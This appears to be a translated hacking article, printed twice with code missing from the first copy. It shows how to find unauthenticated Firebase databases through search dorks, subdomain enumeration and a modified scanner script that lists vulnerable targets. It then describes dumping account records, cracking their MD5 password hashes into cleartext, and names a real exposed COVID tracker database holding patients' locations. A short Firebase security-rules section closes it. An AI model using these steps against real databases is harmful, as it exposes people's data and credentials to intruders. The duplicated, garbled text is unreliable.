A cloud database is a convenient thing: consider that all the work on deploying and configuring the server for you has already been done, you just need to use it! This relaxes admins so much that such databases often remain unprotected and are searched with the help of search engines. One caveat this search engine can not be Google!
WARNING
All information is provided for informational purposes only. The author and editors are not responsible for any possible damage caused by using the information from this article.
Firebase is a cloud platform developed by Envolve in 2011. Initially, it was a database for chat apps, but later developers of online multiplayer games fell in love with it. This prompted the founders to split Firebase into two parts: the chat module and the game framework module.
Two years later, in 2014, Google acquired Firebase and continued to develop it. Programming interfaces for this database are available for many platforms and programming languages.
INFO
From a technical point of view, Firebase is a cool and convenient thing. It seems that there is no need to twist and finish anything here. But a secure configuration of the cloud database is still needed, and many owners forget about it, too relaxed. So much so that they forget about the simplest thing - authentication.
LOOKING FOR OPEN DATABASES
It turns out that there are a lot of non-password-protected databases on the Internet, and this is easy prey for intruders. Only here you can't Google them, because Google decided that this problem can be solved simply by excluding these databases from the search results. Clever! But extremely unreliable.
Nothing prevents us from using another search engine such as Bing or DuckDuckGo. They already provide much more useful information.
Search query in Bing and DuckDuckGo
What can I do next after finding domains with vulnerable databases? Open any link for example, https://hacker-news.firebaseio.com/v0/topstories.json. Information about it is useless, but if you remove the table name from the link topstoriesand leave it only.json, you can check whether the database is protected or not. In this case, the result looks like this:
That's right, personally, I would be very surprised if the owners of this site made such a blatant mistake. But some still allow it. Ten minutes of searching through the links, and the search will be crowned with success.
Open database found
I found something more interesting-accounts with password hashes. You can easily select them from a file using a simple Python script or the jq utility.
Using HashID, we determine the type of hashes (it was MD5) and drive them into hashcat. If you do not have enough powerful hardware, you can use the online service-the FindMyHash tool automatically selects them. All these utilities are pre-installed in Kali Linux.
Password cracking via FindMyHash
We wait for ten minutes, and we will see usernames and passwords in clear text.
Found database with open passwords in clear text
AUTOMATION
Sitting around changing search engines and going through all the URLs manually is very tedious. You see "error : Permission denied" too often. So, it's time to automate! Programming, however, will not be required, because it has already been done before us. Take, for example, the script written by Francesc Herrera.
The script picks up the URL itself and looks for vulnerable databases!
Download it and install dependencies:
And run:
Keys:
Script output
The result shows that from the found databases:
xxx
yyy
zzz
Then the script will check these URLs:
Searching for subdomains
To get the most effective list, you can use the sublist3r script, which uses different search techniques and OSINT to find the most plausible options.
Launching it:
And the output is about 650 domains. It works very fast.
sublist3r domain search
Another utility for generating domains is subbrute. It gave me about 100 subdomains, but it worked for 30-40 minutes.
Search for subdomains with the subbrute program
Censys-subdomain-finder, on which I had high hopes, gave out only seven domains. By the way, the service itself gave out a little - 25 urls.
All these utilities are not included in the Kali Linux distribution, so they had to be downloaded separately.
From online services, you can use nmmapper, DNSdumpster, and Pentest-Tools.
If it is still not enough, you can use the knowledge that integration settings occur in the filegoogle-services.json, and search in the gita with a request site:github.com google-services.json. This option goes against the word "automation", but you can get to the bottom of unique databases.
Picking and adding the script
Now we are armed with a solid set of urls and know that some of them may be vulnerable. We can even run a script and check the number of incorrectly configured databases from our list. But the goal in such cases is not to collect statistics, but to get vulnerable targets. So let's open the script code and slightly correct it.
Look at this piece of code here:
I will not give a piece of code with verification. There is nothing interesting there, I had to find the assignment itself. And here it is:
for result in loot:
This is where I create my array by status 1. Since I still don't understand how to fill it out, I write down everything in a row. It turned out something like the following:
for result in loot:
And at the end I add the output of the result to the console:
After launching, I see this picture.
Program operation after intervention
I got enough of everything that was stored in the databases. But now I know what to write in Vulnerable. Editing the code properly:
This time, at launch, we see what was needed - a list of vulnerable bases.
Script operation after surgery
I was particularly interested in this link: https://covid-19-tracker-e76ca.firebaseio.com/.json. In Malaysia, they were in such a hurry to track the movements of covid patients that they did not put a password on the database with their coordinates...
HOW TO PREVENT A LEAK
Calling this problem a vulnerability is a bit of an exaggeration. It all boils down to the fact that Google allows you to open access to the database content to all unauthorized users, and some developers do so.
Therefore, to protect yourself, just specify the Firebase security policies. Google suggests following the following rules.
Even during development (on test and on stage), you should not open access to all data in Firebase to unauthorized users, but you can open them during authorization:
This rule is necessary when multiple users need to work with the same content.
The following rule gives access to data only to the owners of that data. Other users will not be able to see or process them:
And the third rule sets access to read some data to some users, but editing - only to its owner:
For more information about authentication security and access control, see the Firebase documentation.
CONCLUSION
So, we looked at how data leaks occur, figured out how to find vulnerable URLs, learned how to automate the process, and learned how to avoid this problem.
The Firebase security documentation provides both the rules themselves and various ways to protect your data. You should not neglect them, shifting responsibility to some gates or proxy servers. The database address can be detected.
WARNING
All information is provided for informational purposes only. The author and editors are not responsible for any possible damage caused by using the information from this article.
Firebase is a cloud platform developed by Envolve in 2011. Initially, it was a database for chat apps, but later developers of online multiplayer games fell in love with it. This prompted the founders to split Firebase into two parts: the chat module and the game framework module.
Two years later, in 2014, Google acquired Firebase and continued to develop it. Programming interfaces for this database are available for many platforms and programming languages.
INFO
From a technical point of view, Firebase is a cool and convenient thing. It seems that there is no need to twist and finish anything here. But a secure configuration of the cloud database is still needed, and many owners forget about it, too relaxed. So much so that they forget about the simplest thing - authentication.
LOOKING FOR OPEN DATABASES
It turns out that there are a lot of non-password-protected databases on the Internet, and this is easy prey for intruders. Only here you can't Google them, because Google decided that this problem can be solved simply by excluding these databases from the search results. Clever! But extremely unreliable.
Nothing prevents us from using another search engine such as Bing or DuckDuckGo. They already provide much more useful information.
Search query in Bing and DuckDuckGo
What can I do next after finding domains with vulnerable databases? Open any link for example, https://hacker-news.firebaseio.com/v0/topstories.json. Information about it is useless, but if you remove the table name from the link topstoriesand leave it only.json, you can check whether the database is protected or not. In this case, the result looks like this:
Code:
{
"error" : "Permission denied"
}That's right, personally, I would be very surprised if the owners of this site made such a blatant mistake. But some still allow it. Ten minutes of searching through the links, and the search will be crowned with success.
Open database found
I found something more interesting-accounts with password hashes. You can easily select them from a file using a simple Python script or the jq utility.
Using HashID, we determine the type of hashes (it was MD5) and drive them into hashcat. If you do not have enough powerful hardware, you can use the online service-the FindMyHash tool automatically selects them. All these utilities are pre-installed in Kali Linux.
Password cracking via FindMyHash
We wait for ten minutes, and we will see usernames and passwords in clear text.
Found database with open passwords in clear text
AUTOMATION
Sitting around changing search engines and going through all the URLs manually is very tedious. You see "error : Permission denied" too often. So, it's time to automate! Programming, however, will not be required, because it has already been done before us. Take, for example, the script written by Francesc Herrera.
The script picks up the URL itself and looks for vulnerable databases!
Download it and install dependencies:
Code:
git clone https://github.com/Turr0n/firebase.git
cd firebase
pip install -r requirements.txtAnd run:
Code:
python3 firebase.py -p 4 -c 150 –dnsdumpsterKeys:
- p - specifies the number of threads (default 1, maximum 4);
- dnsdumpster - generates the URL itself;
- с- how many domains to generate.
Script output
The result shows that from the found databases:
- 37 urls are "broken" or no longer exist;
- 171 the database is authenticated when accessing data and is protected;
- one database with a suspected vulnerability;
- 25 databases are not protected or vulnerable.
xxx
yyy
zzz
Then the script will check these URLs:
Searching for subdomains
To get the most effective list, you can use the sublist3r script, which uses different search techniques and OSINT to find the most plausible options.
Launching it:
Code:
python3 sublist3r.py -d firebaseio.comAnd the output is about 650 domains. It works very fast.
sublist3r domain search
Another utility for generating domains is subbrute. It gave me about 100 subdomains, but it worked for 30-40 minutes.
Search for subdomains with the subbrute program
Censys-subdomain-finder, on which I had high hopes, gave out only seven domains. By the way, the service itself gave out a little - 25 urls.
All these utilities are not included in the Kali Linux distribution, so they had to be downloaded separately.
From online services, you can use nmmapper, DNSdumpster, and Pentest-Tools.
If it is still not enough, you can use the knowledge that integration settings occur in the filegoogle-services.json, and search in the gita with a request site:github.com google-services.json. This option goes against the word "automation", but you can get to the bottom of unique databases.
Picking and adding the script
Now we are armed with a solid set of urls and know that some of them may be vulnerable. We can even run a script and check the number of incorrectly configured databases from our list. But the goal in such cases is not to collect statistics, but to get vulnerable targets. So let's open the script code and slightly correct it.
Look at this piece of code here:
Code:
urls = set()
with open(args_.list, 'r') as f:
[urls.add('https://{}.firebaseio.com/.json'.format(line.rstrip())) for line in f]
It explains how the full address is generated. And at the end, a report is generated:
print('404 DBs: {}'.format(l['-2']))
print('Secure DBs: {}'.format(l['-1']))
print('Possible vulnerable DBs: {}'.format(l['0']))
print('Vulnerable DBs: {}'.format(l['1']))I will not give a piece of code with verification. There is nothing interesting there, I had to find the assignment itself. And here it is:
Code:
with open(args_.fn, 'w') as f:
json.dump(loot, f)
l = {'1':0, '0':0, '-1':0, '-2':0}for result in loot:
Code:
l[str(result['status'])] += 1This is where I create my array by status 1. Since I still don't understand how to fill it out, I write down everything in a row. It turned out something like the following:
Code:
l = {'1':0, '0':0, '-1':0, '-2':0}
Vulnerable = []for result in loot:
Code:
l[str(result['status'])] += 1
if str(result['status']) == '1':
Vulnerable.append(result)And at the end I add the output of the result to the console:
Code:
print('404 DBs: {}'.format(l['-2']))
print('Secure DBs: {}'.format(l['-1']))
print('Possible vulnerable DBs: {}'.format(l['0']))
print('Vulnerable DBs: {}'.format(l['1']))
print(Vulnerable)After launching, I see this picture.
Program operation after intervention
I got enough of everything that was stored in the databases. But now I know what to write in Vulnerable. Editing the code properly:
Code:
l = {'1':0, '0':0, '-1':0, '-2':0}
Vulnerable = []
for result in loot:
l[str(result['status'])] += 1
if str(result['status']) == '1':
Vulnerable.append(result['url'])
...
print('404 DBs: {}'.format(l['-2']))
print('Secure DBs: {}'.format(l['-1']))
print('Possible vulnerable DBs: {}'.format(l['0']))
print('Vulnerable DBs: {}'.format(l['1']))
print(Vulnerable)This time, at launch, we see what was needed - a list of vulnerable bases.
Script operation after surgery
I was particularly interested in this link: https://covid-19-tracker-e76ca.firebaseio.com/.json. In Malaysia, they were in such a hurry to track the movements of covid patients that they did not put a password on the database with their coordinates...
HOW TO PREVENT A LEAK
Calling this problem a vulnerability is a bit of an exaggeration. It all boils down to the fact that Google allows you to open access to the database content to all unauthorized users, and some developers do so.
Therefore, to protect yourself, just specify the Firebase security policies. Google suggests following the following rules.
Even during development (on test and on stage), you should not open access to all data in Firebase to unauthorized users, but you can open them during authorization:
Code:
service cloud.firestore {
match /databases/{database}/documents {
match /{document=**} {
allow read, write: if request.auth != null;
}
}
}This rule is necessary when multiple users need to work with the same content.
The following rule gives access to data only to the owners of that data. Other users will not be able to see or process them:
Code:
service cloud.firestore {
match /databases/{database}/documents {
// Allow only authenticated content owners access
match /some_collection/{userId}/{documents=**} {
allow read, write: if request.auth != null && request.auth.uid == userId
}
}
}And the third rule sets access to read some data to some users, but editing - only to its owner:
Code:
service cloud.firestore {
match /databases/{database}/documents {
// For attribute-based access control, Check a boolean `admin` attribute
allow write: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.admin == true;
allow read: true;
// Alterntatively, for role-based access, assign specific roles to users
match /some_collection/{document} {
allow read: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.role == "Reader"
allow write: if get(/databases/$(database)/documents/users/$(request.auth.uid)).data.role == "Writer"
}
}
}For more information about authentication security and access control, see the Firebase documentation.
CONCLUSION
So, we looked at how data leaks occur, figured out how to find vulnerable URLs, learned how to automate the process, and learned how to avoid this problem.
The Firebase security documentation provides both the rules themselves and various ways to protect your data. You should not neglect them, shifting responsibility to some gates or proxy servers. The database address can be detected.
